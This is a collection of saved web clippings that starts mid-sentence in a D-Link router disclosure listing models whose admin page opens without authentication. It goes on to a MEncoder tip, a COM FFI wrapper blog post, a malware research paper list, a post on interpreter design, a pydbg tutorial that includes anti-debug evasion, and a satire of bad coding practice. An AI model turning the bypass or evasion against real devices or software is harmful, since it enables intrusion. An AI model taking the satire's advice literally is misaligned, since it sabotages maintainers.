interface without any authentication and view/change the device settings \(a
DI-524UP is shown, as I don’t have a DIR-100 and the DI-524UP uses the same
firmware\):

<img src='img/Temp2_6908.png' alt='Accessing the admin page of a DI-524UP' />

Accessing the admin page of a DI-524UP

Based on the source code of the HTML pages and some Shodan search results , it
can be reasonably concluded that the following D-Link devices are likely
affected:

  * DIR-100
  * DI-524
  * DI-524UP
  * DI-604S
  * DI-604UP
  * DI-604+
  * TM-G5240

Additionally, several Planex routers also appear to use the same firmware:

  * BRL-04UR
  * BRL-04CW

You stay classy, D-Link**.**

Bookmark the permalink **.**

****

# MEncoder: Videos schneiden

**Created:**| _1/22/2012 7:36:32 PM_  
---|---  
**Updated:**| _1/22/2012 7:36:32 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

## MEncoder: Videos schneiden

Mit dem zum MPlayer-Paket gehörenden Kommandozeilenprogramm MEncoder lassen
sich leicht Fragmente aus einem Video schneiden.

Dazu benötigt man die Startzeit in H:m:s \(Stunde:Minute:Sekunde\) und die
Länge des Videofragments in Sekunden. Werden Audio- und Videoeinstellungen
einfach kopiert erhält man die allgemeine Befehlszeile für das Video in.avi
aus dem das Fragment out.avi geschnitten werden soll:  
`  
mencoder -ss H:m:s -endpos L -ovc copy -oac copy -o out.avi in.avi  
`

Beispiel: Das Fragment soll bei 0 Stunden, 5 Minuten und 30 Sekunden beginnen
und genau 526.4 Sekunden lang sein. Der MEncoder Befehl lautet dann:

`  
mencoder -ss 0:05:30 -endpos 526.4 -ovc copy -oac copy -o out.avi in.avi  
`

Die Startzeit lässt sich auch in Sekunden angeben. Für die oben angegebene
Zeile kann man also auch schreiben, weil 5 Minuten und 30 Sekunden 330
Sekunden sind:  
`  
mencoder -ss 330 -endpos 526.4 -ovc copy -oac copy -o out.avi in.avi`

# Bridging the gap between native functions and Active Scripting with a COM-based FFI wrapper | KK's Blog
**Created:**| _5/9/2013 5:28:47 PM_  
---|---  
**Updated:**| _6/23/2013 7:34:00 AM_  
**Author:**| __  
**Tags:**| _content security browser_  
  

# Bridging the gap between native functions and Active Scripting with a COM-
based FFI wrapper

Posted on May 9, 2008

A few weeks ago I was following the excitement as WebKit, Safari’s browser
engine, incrementally passed more and more of the Acid 3 standards test.
Wondering if the Gecko \(Mozilla Firefox’s rendering engine\) folks are also
busy with that, I followed both the Planet WebKit  and Planet Mozilla  feeds
for a few weeks.

Sometime in April I stumbled upon this post  in Planet Mozilla. It discussed
recent improvements to JSctypes . It was the first time I had heard of this
project. JSctypes is an XPCOM component for Mozilla that allows calling native
\(or “foreign”\) functions from privileged JavaScript code. Both the interface
and name are inspired by the Python ctypes  module, included with the standard
distribution since version 2.5.

If you haven’t heard of ctypes, take a minute to get acquainted. It’s a great
library that allows you to call native C functions dynamically from Python
code. Its interface really feels at home in a dynamic language. Most of the
time, you can just call functions without specifying the number and types of
the arguments they receive. DLL modules can be accessed as attributes of the
module attribute matching their calling convention \(e.g.,
ctypes.windll.kernel32 or ctypes.cdll.msvcrt\) and script functions can be
passed as callbacks to the native APIs being invoked.

JSctypes takes Python’s ctypes concept into Mozilla’s JavaScript
implementation. Mozilla has a COM-like architecture at the base of its object
model which is called XPCOM. Usually, calling native functionality from
JavaScript is achieved by exposing an XPCOM component to script. However, such
an approach has clear disadvantages as every conceivable native functionality
needs to be wrapped on a case by case basis by a compiled XPCOM component.
Now, with JSctypes, Mozilla’s JavaScript code, when privileged \(obviously a
native call interface is not appropriate in the context of untrusted web
content\), can call most native functions with relative ease and without a
compiled component, aside from JSctypes itself.

A native function interface for a dynamic language needs to deal with the
relatively complex task of setting up the call stack frame for an arbitrary
native API, according to argument counts, types and alignment requirements
deduced dynamically at script execution time. As the interface layer seeks to
support a broader and broader variety of argument types \(basic data types,
then structures, arrays, then callback functions, etc.\) the task becomes
increasingly complicated and difficult.

I reviewed both JSctypes and Python’s ctypes source code in their respective
source code repositories and learned that they both share a common
implementation of the lowest component in such a native interface layer. It is
called libffi , the Foreign Function Interface library and seems to originate
from the gcc project. Since libffi is designed to be compiled with a UNIX-
style toolchain \(has AT&T syntax assembly files, for instance\) and Python
needs to compile with Visual C++, the author of ctypes, Thomas Heller, ported
an old revision of the library to Visual C++.

Usage of libffi is pretty simple. You initialize an ffi\_cif \(call
information?\) structure with the ABI type, return value type, argument count
and argument types of the native function to be invoked by using the
ffi\_prep\_cif function. Later, and repeatedly as needed, ffi\_call is used to
call the actual function with a specific set of argument values, passed in as
an array and to retrieve the value returned from the native function.

I thought JSctypes is really cool and it then occurred to me it should not be
prohibitively difficult to implement a similar adaptation layer for
Microsoft’s JScript and possibly other Active Scripting languages.

In my mind’s eye, I envisioned an in-process COM server accessible to Active
Scripting clients \(implements IDispatch and associated with a ProgID\)
providing a call interface to arbitrary native functions.

I created an ATL COM DLL and gave the coclass the ProgID
“FunctionWrapper.FunctionWrapper.1″. I knew you could call JScript functions
with less or more arguments than they expect in their definition and figured
pulling off the same in a native method I’ll expose to the script would be
ideal. After a short investigation I learned of the IDL vararg  attribute,
which accomplishes just what I had in mind. At this point, the exposed
interface looks like this:  
`  
[  
object,  
uuid(EBA4A11F-969B-4413-9D4E-FB5CB21039FC),  
dual,  
nonextensible,  
helpstring("IFunctionWrapper Interface"),  
pointer_default(unique)  
]  
interface IFunctionWrapper : IDispatch {  
[id(1), helpstring("method CallFunction"), vararg] HRESULT CallFunction([in]
SAFEARRAY(VARIANT) args, [out, retval] VARIANT* retVal);  
};`

The CallFunction method of the FunctionWrapper object is callable by JScript
clients with arguments of arbitrary count and type of their choosing. As a
simplistic start, I had the first argument specify a string identifying the
native function, in the Windbg-inspired syntax of “module\!export”, e.g.
“user32\!MessageBoxW”. The rest of the arguments would be passed to the native
function.

I proceeded to implement CFunctionWrapper::CallFunction. The steps taken by
the method would be:

  1. Ensure at least the first argument \(function to invoke\) was given.
  2. Ensure the first argument specifies a module and an export, load the module and retrieve the address of the export.
  3. Thunk the VARIANT arguments received by the method to libffi-style argument and types arrays.
  4. Invoke ffi\_prep\_cif to prepare the call and call the native function with ffi\_call
  5. Thunk the return value of the function into a VARIANT usable by script.

Much of the work here is concise but stage 3 consists of relatively mundane
boilerplate, translating two varieties of dynamically typed data, Microsoft’s
VARIANT and libffi’s ffi\_type. I’ll illustrate with a short snippet:  
`  
for (ULONG i = 1; i < arguments.GetCount(); i++)  
{  
ffi_type* argumentTypes = ...; // Dynamically allocated by argument count  
void* ffiArgs = ...;`  
`  
VARIANT& arg = arguments[i];  
switch (V_VT(&arg)) {  
case VT_UI1:  
argumentTypes[i - 1] = &ffi_type_uint8;  
ffiArgs[i - 1] = &(V_UI1(&arg));  
break;  
...  
case VT_UI4:  
argumentTypes[i - 1] = &ffi_type_uint32;  
ffiArgs[i - 1] = &(V_UI4(&arg));  
break;  
}  
}`

Similar work is needed for other integer and floating-point types, strings and
pointers.

Initially, I hard-coded a return value type of unsigned 32-bit integer and the
stdcall calling convention to avoid providing an interface for selecting those
parameters. I registered the DLL and tested the following script with WSH:  
`  
var functionWrapper = new ActiveXObject("FunctionWrapper.FunctionWrapper");  
var retVal = functionWrapper.CallFunction("user32!MessageBoxW", 0, "text",
"caption", 1);  
WScript.Echo(retVal);`

1 is also the value of the MB\_OKCANCEL parameter to MessageBox. I used the W
variety of the API since I implemented hardcoded UTF16 marshalling for
VT\_BSTR type variants, which is the form strings come in from JScript.

I was quite content when the test script not only failed to crash the WSH
process, but also successfully presented a message box and provided the API’s
return value successfully back to JScript.

At this point I considered what would it take to extend this solution beyond
the basic value types. Arrays first came to mind. Such support, I imagined,
would consist of copying an incoming SAFEARRAY argument into a native array
and supplying the native array pointer to the native function. If “out” array
argument support is desired, copying back into the SAFEARRAY would be required
post-invocation, right after ffi\_call.

Next in line were structs. These would be less straightforward. The problem
with filling a JScript “object” \(read, hash table\) with a struct’s fields is
that ordering would not be preserved as the order in the struct’s data layout.
Using the hash as a JScript array would provide ordering, although it wouldn’t
be very nice looking.

The final type of argument I considered, and arguably the most important, is
callbacks. Many APIs take function pointers as arguments. Consider EnumWindows
which invokes EnumWindowsProc  on every window found. A native call interface
should provide a capability to implement the callback as JScript function and
pass it as seamlessly as possible during the native invocation.

Fortunately, libffi provides built-in support for callbacks, calling them
“closures” in its terminology. An ffi\_cif structure is initialized to
describe the prototype of the callback function, in native eyes, as it if it
were going to be called with ffi\_call. ffi\_prep\_closure takes such a
prototype description, a function pointer and a closure “trampoline buffer”,
as I call it. The trampoline buffer, expected to be allocated in writable,
executable memory \(native code would later jump into its address\) takes care
of calling the provided function pointer. The twist is that the function
pointer, instead of being called with a dynamic prototype, always receives its
arguments in the form of libffi argument arrays.

The native callback function wrapped by the closure trampoline buffer would
presumably fill a SAFEARRAY of variants with the arguments and invoke a script
function. A wrapper callback coclass could be provided to the script and allow
for more elaborate stuff like out parameters and the like. An instance of the
callback object would wrap a JScript function object and invoke its apply
method using the IDispatch interface as calls come in through the closure. It
is unclear what a generic solution that doesn’t rely on functions being
objects and having the apply method would look like, so at this point this
wrapper callback concept is only suitable for JScript.

Right now I only got as far as implementing just the basic value types, and
even that with code of such poor quality I avoid uploading it for the time
being. The devil is in the details and supporting describing complex argument
types would require quite a bit of work. Hopefully someday I or perhaps an
enthusiastic reader would get around to coding and publishing a full-fledged
implementation of a native call interface. Embedding such an interface in an
Active Scripting host in scenarios where the hosted scripts enjoy full trust
could provide endless extensibility possibilities for the script author.

Hey, cooler than P/Invoke…

About these ads

Like Loading...

This entry was posted in COM , WSH  by Koby Kahane . Bookmark the permalink .

# Research papers - Learn more about malware - Microsoft Malware Protection
Center

**Created:**| _4/20/2010 9:01:43 AM_  
---|---  
**Updated:**| _4/22/2010 8:22:20 AM_  
**Author:**| __  
**Tags:**| _bookmark research papers Malware-analysis Microsoft_  
  

<img src='img/Temp2_6816.gif' width='0' height='0' alt='Skip Navigation Links'
/>Home > Learn more about malware > Research papers  

| <img src='img/Temp2_6817.gif' />| | <img src='img/Temp2_6818.gif' />  
---|---|---  
|

# Research papers

  
**I can't go back to yesterday, because I was a different person then**  
Author: Chun Feng  
First presented at the Virus Bulletin Conference September 2009

  * PDF format
  * XPS format

  
**The modern rogue - malware with a face**  
Author: Hamish O'Dea  
First presented at the Virus Bulletin Conference September 2009

  * PDF format
  * XPS format

  
**The cloud or the mist?**  
Author: Hilda Larina Ragragio and Marian Radu  
First presented at the Virus Bulletin Conference September 2009

  * PDF format
  * XPS format

  
**Playing with shadows - Exposing the black market for online game password
theft**  
Author: Chun Feng  
First presented at the Virus Bulletin Conference October 2008

  * PDF format
  * XPS format

  
**When the hammer falls - Effects of successful widespread disinfection on
malware development and direction**  
Author: Matt McCormack  
First presented at the Virus Bulletin Conference October 2008

  * PDF format
  * XPS format

  
**Malware Development Lifecycle**  
Author: Ray Roberts  
First presented at the Virus Bulletin Conference October 2008

  * PDF format
  * XPS format

# Re: Suggestions on implementing an efficient instruction set simulator in
LuaJIT2

**Created:**| _5/27/2011 11:48:52 AM_  
---|---  
**Updated:**| _5/27/2011 11:48:52 AM_  
**Author:**| __  
**Tags:**| _optimisation JIT_  
  
Home  
Reading  
Searching  
Subscribe  
Sponsors  
Statistics  
Posting  
Contact  
Spam  
Lists  
Links  
About  
Hosting  
Filtering  
Features Download  
Marketing  
Archives  
Weaver  
FAQ  
  
| <img src='img/gmane-rot.png' alt='Gmane' />| <img
src='img/75426-picon-001.gif' alt='Picon' /> From: Mike Pall <mikelu-1102 <at>
mike.de>  
Subject: Re: Suggestions on implementing an efficient instruction set
simulator in LuaJIT2  
Newsgroups: gmane.comp.lang.lua.general  
Date: 2011-02-15 16:02:08 GMT \(14 weeks, 2 days, 4 hours and 28 minutes ago\)  

[code]

    Josh Haberman wrote:
    > Josh Haberman <jhaberman <at> gmail.com> writes:
    > > Mike Pall <mikelu-1102 <at> mike.de> writes:
    > > > The main loop of an interpreter is a tough job for compilers (and
    > > > CPUs). Most interpreters have been written in C, so C compilers
    > > > have been tuned for this case over the years. They still generate
    > > > mediocre code, compared to what you can achieve in assembler.
    > > 
    > > Could you possibly summarize the few biggest strategies that you
    > > use to beat C compilers when it comes to interpreter loops?  I'm
    > > really interested in this problem.  I can (and do) read the LuaJIT
    > > code, but that doesn't tell me what was deficient about the original
    > > compiler output.
    > 
    > Hmm, this probably seems overly broad.  Maybe a better question
    > to ask would be: what do compilers still suck at, in the context
    > of interpreter main loops?  Common wisdom is that compilers these
    > days are so good that a human can rarely ever beat them.  Clearly
    > that's wrong in the case of LuaJIT, but how so?  What bad decisions
    > do compilers make in interpreter loops?
    
    The control-flow graph of an interpreter with C switch-based
    dispatch looks like this:
    
          .------.
          V      |
          |      |
          L      |  L = instruction load
          D      |  D = instruction dispatch
       / /|\ \   |
      / / | \ \  |
      C C C C C  |  C = operand decode
      X X X X X  |  X = instruction execution
      \ \ | / /  |
       \ \|/ /   |
          |      |
          V      |
          `------'
    
    Each individual instruction execution looks like this:
    
      ......V......
      :X    |     :
      :     |\ \  :
      :     F S S :  F = fast path
      :     |/ /  :  S = slow paths
      :     |     :
      :.....V.....:
    
    We're talking here about dozens of instructions and hundreds of
    slow paths. The compiler has to deal with the whole mess and gets
    into trouble:
    
    * Diamond-shaped control-flow is known to be the worst-case
      scenario for most optimizations and for register alloction.
      Nested diamond-shaped control-flow is even worse.
    
    * The compiler doesn't have enough hints to see what the fast
      paths and what the slow paths are. Even if you'd be able to tell
      it, it still sees this as a single giant control-flow graph.
    
      Anything in this loop could potentially influence anything else,
      so almost nothing can be hoisted or eliminated. The slow paths
      kill the opportunities for the fast paths and the complex
      instructions kill the opportunities for the simpler instructions.
    
    * The standard register allocation heuristics fail at this scale,
      so the compiler has trouble keeping important variables in
      registers.
    
    We can use a direct or indirect-threaded interpreter even in C,
    e.g. with the computed 'goto &' feature of GCC:
    
      * * * * *
      | | | | |
      C C C C C    C = operand decode
      X X X X X    X = instruction execution
      L L L L L    L = next instruction load
      D D D D D    D = next instruction dispatch
      | | | | |
      V V V V V
    
    This effectively replicates the load and the dispatch, which helps
    the CPU branch predictors. But it has its own share of problems:
    
    * There's no loop the compiler could recognize. And all of those
      gotos can jump to pretty much anywhere in the code. Therefore
      the compiler is unable to hoist anything, because there __will_ _
      be a slow path where an aliasing store kills all opportunities.
    
    * The register allocator can only treat each of these segments
      separately and will do a real bad job. There's just no way to
      give it a goal function like "I want the same register
      assignment before each goto".
    
    * Tail-merging and CSE will happily join all these common tails of
      each instruction and generate a single dispatch point. Ick. You
      can try to disable some optimizations for this piece of code,
      but this will negatively impact all paths.
    
    * There's a point where you start to fight the compiler and this
      is a game you cannot win.
    
    If you write an interpreter loop in assembler, you can do much
    better:
    
    * Keep a fixed register assignment for all instructions.
    
    * Keep everything in registers for the fast paths. Spill/reload
      only in the slow paths.
    
    * Move the slow paths elsewhere, to help with I-Cache density.
    
    * Pre-load instructions and pre-decode operands.
    
    Here's how this would look like:
    
      *  *  *  *  *
      |  |  |  |  |
      C  C  C  C  C    C = partial operand decode for this instruction
      F> F> F> F> F>   F = fast path, > = exit to slow path
      L  L  L  L  L    L = next instruction load
      C  C  C  C  C    C = partial operand decode for the next instruction
      D  D  D  D  D    D = next instruction dispatch
      |  |  |  |  |
      V  V  V  V  V
    
    You can get this down to just a few machine code instructions.
    I've posted an example for the x86 LuaJIT interpreter here:
    
      http://www.reddit.com/r/programming/comments/badl2/luajit_2_beta_3_is_out_support_both_x32_x64/c0lrus0
    
    On PPC/e500 I had to use a couple more tricks: e.g. merging the
    operand decode and the index scaling. That crazy 'rlwinm'
    instruction comes real handy here. Or hand-scheduling the
    instruction load above the stores in the fast path. Or using
    vector (!) instructions for type checks.
    
    There's just no way you can reasonably expect even the most
    advanced C compilers to do this on your behalf.
    
    There are some more design goals for an interpreter, like having
    only a single fast path in every bytecode instruction etc. ...
    I won't go into that here, but remember: every percent counts!
    
    Final words: A modern compiler contains a huge set of heuristics
    that interact with each other in strange ways. They have been
    tuned for 'average' code. But an interpreter is a very different
    beast, so you'll inevitably get disappointing results.
    
    --Mike
    
    
[/code]

| <img src='img/paint-list-id.php' />  
---|---|---|---

# Windows Vista Security Internals

**Created:**| _11/13/2010 4:00:56 PM_  
---|---  
**Updated:**| _11/13/2010 4:01:24 PM_  
**Author:**| __  
**Tags:**| _windows security conference-material windows environment_  
  
<img src='img/Temp2_9916' />

# WA GWAN HAX STAR: FUCK TOOLS

**Created:**| _3/19/2010 3:35:11 AM_  
---|---  
**Updated:**| _3/19/2010 3:35:31 AM_  
**Author:**| __  
**Tags:**| _bookmark pydbg security tools python Tutorials awesome_  
  

### FUCK TOOLS

Obviously I don't mean that. I could go into a long diatribe about how useful
tools really are, going all the way back to the wheel... but that would be
insulting to your intelligence, and you know that.  
  
I'm an idiot who refuses to learn new things when I feel like I can learn so
much more if I blaze my own path. So when I say "fuck tools," I'm talking more
about a greater, more encompassing issue: some asshole developer telling  _me_
how  _I'm_ supposed to do something. We've all had that moment where we've
just sighed in defeat after tons of hapless clicking, Googling with no
results, wishing to ourselves that Emacs would just solve `P = NP` for us.
We've all been there.  
  
So with that said, I'd like to introduce you to this tool I've had my eye on
for a while but until now have been too lazy to actually do anything about it:
`pydbg`.  
  
`pydbg` is part of the infamous PaiMei framework by the equally brilliant
Pedram Amini. And from what I hear, it's totally awesome. But PaiMei has a
downside: it requires IDA. I know that basically everyone who doesn't have the
money or job hook-up pirates IDA and those who do swear by it, but seriously,
why rely on expensive proprietary shit? Why rely on proprietary shit where the
author is gonna be  _super pissed_ when they find out you're pirating their
shit? \(Pretend that their anger actually translates into something useful for
these questions to hold any weight.\) I gotta keep my integrity here and
reiterate this juvenile subject line by which I mean no disrespect to mister
Amini or tool authors in general: FUCK TOOLS.  
  
Unfortunately, you can't exactly just download `pydbg`\-- you have to download
_all of PaiMei_ in order to get the damn library, to which I say fuck that
shit. \(If you download my tarball of pydbg and you-- for some reason-- feel
paranoid enough to do a diff of my version of pydbg and the one in PaiMei,
there's a slight alteration: an empty Structure class in one of the modules.
This is because the damn thing crashes when you try to import as it's trying
to alter some Python libraries, and Guido apparently hates it when you do
that. So you're welcome.\)  
  
First things first: get yourself a copy of Python 2.5. I mean it when I say
Python 2.5-- `pydasm` is linked against Python 2.5. This library, too, gets
angry when you try to do something else outside the lines. \(Again, I say
blame Guido.\)  
  
Next, install that shit: drag the pydbg folder into python's lib folder. Run a
shell and type "import pydbg" to verify the installation. If everything goes
as planned, congratulations\! You now have a working copy of pydbg.  
  
Now let's get started\!  
  
_**So Why the Fuck do I Care?**_  
  
One of the Great Issues that I feel somewhat brings down the collective
intelligence of the community is that as we get smart enough to automate
stuff, we lower the bar for everyone else as they use this automation. This
isn't to say that our automated advances aren't a good thing-- but the thing
that really keeps this community going is knowledge. We're basically Greeks
that love booze, computers and advanced persistent threats. So then it should
follow that, ultimately, we don't put priority on automation-- we are instead
driven  _first_ to learn the details and specifics, and  _then_ automate. At
least that's what my Utopian image of our little niche of hackers are, anyway.  
  
Let's say you're a guy who's been using Olly and IDA for a while. You can read
and understand assembly, sure-- but single-stepping and messing with Olly
itself slows you down. You set breakpoints, run, analyze, set breakpoints,
run, analyze... gee, sure sounds like this process could be a whole lot
faster. It sounds like you might even be able to program it. You can set a
breakpoint on a function like`CreateFileA`, run the program, look at the
stack, highlight, copy, paste, run, look at the stack, highlight, copy,
paste... over and over again until you no longer see calls to `CreateFileA`.
But, fuck, that's **boring**.  
  
But at this point you've learned enough about reverse-engineering to figure
out what you want. You've gathered a strong knowledge base of information that
will ultimately lead you where you want to go. So with this foundation you can
actually use the more advanced tools and libraries that are available to you.
_Now_ you can automate-- but you can automate for yourself\! That's the best
kind\!  
  
**_Doing All Your Own Stunts_**  
  
Having complete control over the data you can analyze in a binary is an
empowering feeling. Here's a code stub that you can use to mess with this
binary:  
  

[code]

    #!c:\python\python.exe
    
    from pydbg import *
    from pydbg.defines import *
    
    SHARK = 'C:\\imashark.exe' # http://argolith.ms/blag/FUCK-TOOLS/imashark.exe
    
    def breakpoint_handler(dbg):
        # if this isn't our breakpoint, resume
        if not dbg.bp_is_ours(dbg.context.Eip):
            pass
        # pretend this is an efficient way to do this
        elif dbg.context.Eip == dbg.func_resolve('user32','MessageBoxA'):
            print '[+] Call to MessageBoxA'
        else:
            print '[!] What? Fuck you.'
    
        return DBG_CONTINUE
    
    if __name__ == '__main__':
        debug = pydbg()
        debug.load(SHARK)
        debug.set_callback(EXCEPTION_BREAKPOINT, breakpoint_handler)
        debug.bp_set(debug.func_resolve('user32','MessageBoxA'))
        debug.run()
    
[/code]

  
Now that's awesome. In just a few lines we have a set-up that will tell us
every time MessageBoxA is hit. Obviously this is useless in the real world
because... well, you're going to know when MessageBox is called because  _you
get a fucking message box._ Now let's just run this badboy and--  
  

[code]

    Traceback (most recent call last):
      File "C:/imashark.py", line 23, in 
        debug.bp_set(debug.func_resolve('user32','MessageBoxA'))
      File "C:\Python25\lib\pydbg\pydbg.py", line 567, in bp_set
        raise pdx("Failed setting breakpoint at %08x" % address)
    pdx: Failed setting breakpoint at 7e4507ea
    
[/code]

  
Obviously an explanation is in order. When you load a file with `pydbg`,
you're not running it to the entry point-- you're literally loading it. By the
time it gets to the PE header's entry point, it's already loaded user32.dll.
Hence, by loading the executable, user32.dll is  _not_ loaded. So this fails
on the first try because it's attempting to set a breakpoint on a location in
memory which, as of this point, doesn't exist. At all.  
  
Now go and grab yourself the pefile library for Python, install it and get
back to me.  
  
When it comes to a normal binary, it's logical to assume that by the time the
program gets to the entry point, all necessary libraries have been loaded. So
the easy way to work around this issue is grab the entry point of the program,
break on it,  _then_ break on our library functions. So first, add this
nonsense:  
  

[code]

    SHARK_HEAD = pefile.PE(SHARK)
    SHARK_ENTRY = SHARK_HEAD.OPTIONAL_HEADER.AddressOfEntryPoint \
                + SHARK_HEAD.OPTIONAL_HEADER.ImageBase
    
[/code]

  
Then modify your breakpoint handler:  
  

[code]

    # I THOUGHT I GOT RID OF PE AFTER I GRADUATED HIGH SCHOOL FUCK YOU DAD
        elif dbg.context.Eip == SHARK_ENTRY:
            print '[+] reached entry point, setting library breakpoints'
            dbg.bp_set(dbg.func_resolve('user32','MessageBoxA'))
    
[/code]

  
And finally, add a breakpoint to the entry point in main:  
  

[code]

    if __name__ == '__main__':
        debug = pydbg()
        debug.load(SHARK)
        debug.set_callback(EXCEPTION_BREAKPOINT, breakpoint_handler)
        debug.bp_set(SHARK_ENTRY)
        debug.run()
    
[/code]

  
Now we can run this sucker. And here's what we get:  
  

[code]

    [+] reached entry point, setting library breakpoints
    [+] Call to MessageBoxA
    [+] Call to MessageBoxA
    [+] Call to MessageBoxA
    [+] Call to MessageBoxA
    
[/code]

  
Huzzah\! We now know without even analyzing the program in Olly or IDA or any
of those other arrogant  _tools_ you keep hearing about that our Message Box
function was called four times\! But like I said earlier, this is really
fucking useless-- you  _know_ they're getting called. It's called MessageBox
for a reason. So let's do something a little more useful.  
  
**_If I SHA1 My MD5 Hash, That's Secure, Right?_**  
  
Here's another binary for you to blindly analyze-- but I'm going to cheat
here. Let's pretend that through some sort of wizardry, you know that this
program is calling `CreateFileA` and `WriteFile`. Modify the previous code you
used to set up some basic breakpoints on these functions, then run the
program.  
  
Assuming you weren't cheating and read ahead, the program should have given
you the finger. What gives? It's probably got some sort of anti-debug nonsense
going on-- none of our breakpoints were hit and the program immediately
exited. Add this to your entry breakpoint:  
  
`dbg.hide_debugger()`  
  
Obviously you know how to do this without the help of `pydbg`, right?
_Right?_  
  
So we re-run the program, and what do you know-- results\!  
  

[code]

    [+] reached entry point, setting library breakpoints
    [+] hiding debugger
    [+] Call to CreateFileA
    [+] Call to WriteFile
    
[/code]

  
Now one of my favorite parts of being able to analyze a program in this
fashion-- arbitrarily reading only the information that you want. Recall the
specification for WriteFile. We want to get the data that's being written, and
quite frankly that's all we care about. Recall also how function calls work in
assembly-- all arguments are pushed onto the stack, with the final value being
the next instruction to return to after the `CALL` instruction. Therefore,
when we set a breakpoint on any given function, our stack will look like this:  
  

[code]

    ESP+0:     RETN
    ESP+4:     arg1
    ESP+8:     arg2
    ...
    ESP+(N*4): argN
    
[/code]

  
So in the case of `WriteFile`, we can get the contents of the written file by
simply yanking out the pointer from ESP+8. This is actually surprisingly
simple with `pydbg`. In your `WriteFile` breakpoint, you can get the address
like this \(assuming you're running on a 32-bit machine, of course\):  
  

[code]

    contents = struct.unpack('<I', dbg.read(dbg.context.Esp+8,4))[0]
    
[/code]

  
I think it's safe to say that it's writing a string-- we have no reason to
believe otherwise, and as a low-hanging fruit assuming it's writing a string
is a good baseline. `pydbg` comes with a really awesome function for lazy
people: `smart_dereference`. You give it an address, it tries to get a string
out of it. Let's try that\!  
  

[code]

    print '[+] Writing contents: %s' % dbg.smart_dereference(contents)
    
[/code]

  
And what do we get?  
  

[code]

    [+] reached entry point, setting library breakpoints
    [+] hiding debugger
    [+] Call to CreateFileA
    [+] Call to WriteFile
    [+] Writing contents: IS THERE A WAY TO DOWNLOAD DEAD
    STRIPPERS VIA BITTORRENT????/ OR PERHAPS A USENET
    CHANNEL????? (stack)
    
[/code]

  
Awesome. We've decoded a secret message all without having to step through a
debugger or anything similar that would just slow us down.  
  
So hopefully this will get you started in using `pydbg` as a stand-alone
library for tinkering and coding. This definitely isn't the only post on how
to use `pydbg` out there-- go and Google that shit. Those tutorials will teach
you mostly how to break-and-enter into a program. I think mine is the only one
that tells you how to load it from the outset, but I can't be too certain. And
don't forget to check out the `pydbg` docs\!  
  
`pydbg` has basically turned into my go-to thing for reversing now. It's
turned OllyDBG and IDA into simple supplements when I need to either verify
something or hunt something down specifically. Hopefully it'll have the same
effect on you\!  
  
Questions, comments and criticisms of my childish writing style are always
welcome\!

# How To Write Unmaintainable Code

**Created:**| _9/22/2011 5:11:38 PM_  
---|---  
**Updated:**| _9/22/2011 5:11:38 PM_  
**Author:**| __  
**Tags:**| _LOLZ programming_  
  

#  How To Write Unmaintainable Code

## Ensure a job for life ;-\)

**Roedy Green**  
**Canadian Mind Products**  
  

* * *
## Introduction

> __
> _Never ascribe to malice, that which can be explained by incompetence.  
>  _\- Napoleon
In the interests of creating employment opportunities in the Java programming
field, I am passing on these tips from the masters on how to write code that
is so difficult to maintain, that the people who come after you will take
years to make even the simplest changes. Further, if you follow all these
rules religiously, you will even guarantee **yourself** a lifetime of
employment, since no one but you has a hope in hell of maintaining the code.
Then again, if you followed **all** these rules religiously, even you wouldn't
be able to maintain the code\!

You don't want to overdo this. Your code should not **look** hopelessly
unmaintainable, just **be** that way. Otherwise it stands the risk of being
rewritten or refactored.

## General Principles

> __
> _Quidquid latine dictum sit, altum sonatur.  
>  _\- Whatever is said in Latin sounds profound.
To foil the maintenance programmer, you have to understand how he thinks. He
has your giant program. He has no time to read it all, much less understand
it. He wants to rapidly find the place to make his change, make it and get out
and have no unexpected side effects from the change.

He views your code through a toilet paper tube. He can only see a tiny piece
of your program at a time. You want to make sure he can never get at the big
picture from doing that. You want to make it as hard as possible for him to
find the code he is looking for. But even more important, you want to make it
as awkward as possible for him to safely **ignore** anything.

Programmers are lulled into complacency by conventions. By every once in a
while, by subtly violating convention, you force him to read every line of
your code with a magnifying glass.

You might get the idea that every language feature makes code unmaintainable
-- not so, only if properly misused.

## Naming

> __
> _ "When I use a word," Humpty Dumpty said, in a rather scornful tone, "it
> means just what I choose it to mean - neither more nor less." _  
> \- Lewis Carroll -- Through the Looking Glass, Chapter 6
Much of the skill in writing unmaintainable code is the art of naming
variables and methods. They don't matter at all to the compiler. That gives
you huge latitude to use them to befuddle the maintenance programmer.

#### New Uses For Names For Baby

Buy a copy of a baby naming book and you'll never be at a loss for variable
names. Fred is a wonderful name, and easy to type. If you're looking for easy-
to-type variable names, try adsf or aoeu if you type with a DSK keyboard.

#### Single Letter Variable Names

If you call your variables a, b, c, then it will be impossible to search for
instances of them using a simple text editor. Further, nobody will be able to
guess what they are for. If anyone even hints at breaking the tradition
honoured since FØRTRAN of using i, j, and k for indexing variables, namely
replacing them with ii, jj and kk, warn them about what the Spanish
Inquisition did to heretics.

#### Creative Miss-spelling

If you must use descriptive variable and function names, misspell them. By
misspelling in some function and variable names, and spelling it correctly in
others \(such as SetPintleOpening SetPintalClosing\) we effectively negate the
use of grep or IDE search techniques. It works amazingly well. Add an
international flavor by spelling _tory_ or _tori_ in different
theatres/theaters.

#### Be Abstract

In naming functions and variables, make heavy use of abstract words like _it_
, _everything_ , _data_ , _handle_ , _stuff_ , _do_ , _routine_ , _perform_
and the digits e.g. routineX48, PerformDataFunction, DoIt, HandleStuff and
do\_args\_method.

#### A.C.R.O.N.Y.M.S.

Use acronyms to keep the code terse. Real men never define acronyms; they
understand them genetically.

#### Thesaurus Surrogatisation

To break the boredom, use a thesaurus to look up as much alternate vocabulary
as possible to refer to the same action, e.g. _display_ , _show_ , _present_.
Vaguely hint there is some subtle difference, where none exists. However, if
there are two similar functions that have a crucial difference, always use the
same word in describing both functions \(e.g. _print_ to mean "write to a
file", "put ink on paper" and "display on the screen"\). Under no
circumstances, succumb to demands to write a glossary with the special purpose
project vocabulary unambiguously defined. Doing so would be an unprofessional
breach of the structured design principle of _information hiding_.

#### Use Plural Forms From Other Languages

A VMS script kept track of the "statii" returned from various "Vaxen".
Esperanto , Klingon and Hobbitese qualify as languages for these purposes. For
pseudo-Esperanto pluraloj, add oj. You will be doing your part toward world
peace.

#### CapiTaliSaTion

Randomly capitalize the first letter of a syllable in the middle of a word.
For example ComputeRasterHistoGram\(\).

#### Reuse Names

Wherever the rules of the language permit, give classes, constructors,
methods, member variables, parameters and local variables the same names. For
extra points, reuse local variable names inside \{\} blocks. The goal is to
force the maintenance programmer to carefully examine the scope of every
instance. In particular, in Java, make ordinary methods masquerade as
constructors.

